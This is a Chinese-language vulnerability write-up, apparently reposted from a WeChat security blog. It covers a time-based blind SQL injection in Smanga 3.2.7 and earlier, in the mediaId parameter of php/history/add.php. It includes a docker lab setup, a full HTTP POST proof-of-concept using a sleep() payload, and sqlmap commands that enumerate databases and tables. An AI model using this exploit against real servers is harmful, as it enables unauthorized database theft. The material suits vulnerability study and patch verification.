免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！
01
—
漏洞名称
Smanga SQL注入漏洞
02
—
漏洞描述
Smanga版本3.2.7及之前版本中存在SQL注入漏洞。攻击者可以通过php/history/add.php中的mediaId、mangaId和userId参数执行任意代码并获取敏感信息。
03
—
靶场搭建
Smanga的github地址如下
https://github.com/lkw199711/smanga下面使用docker安装smanga
拉取镜像
docker pull lkw199711/smanga:3.2.6启动容器
docker run -itd --name smanga-p 3333:3306-p 9797:80-v /mnt:/mnt-v /route/smanga:/datalkw199711/smanga:3.2.6;
访问服务
http://192.168.30.112:9797/
环境初始化之后跳转到登录页面
默认用户名/密码：smanga/smanga
04
—
漏洞复现
该漏洞是一个时间盲注漏洞，POC如下
POST /php/history/add.php HTTP/1.1Host: x.x.x.x:9797Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ak;q=0.8Cookie: thinkphp_show_page_trace=0|0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 198chapterCover=1&chapterId=1&chapterName=1&chatpterPath=1&chaptertype=image&keyword=1&mangaCover=undefined&mangaId=1&mangaName=&mediaId=if(now()=sysdate()%2Csleep(5)%2C0)×tamp=12123123&userId=1
延时5秒
延时10秒
证明漏洞存在
05
—
漏洞利用
将poc修改下，写入文件a,文件内容如下
POST /php/history/add.php HTTP/1.1Host: 192.168.1.11:9797Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ak;q=0.8Cookie: thinkphp_show_page_trace=0|0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 199chapterCover=1&chapterId=1&chapterName=1&chatpterPath=1&chaptertype=image&keyword=1&mangaCover=undefined&mangaId=1&mangaName=&mediaId=*×tamp=12123123&userId=1
使用sqlmap获取数据库列表
sqlmap -r a --level 5 --risk 3 --dbs
使用sqlmap获取smanga数据库的表
sqlmap -r a --level 5 --risk 3 -D smanga --tables
06
—
修复建议
建议您更新当前系统或软件至最新版，完成漏洞的修复。
原文始发于微信公众号（AI与网安）：Smanga SQL注入漏洞 一键拖库
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论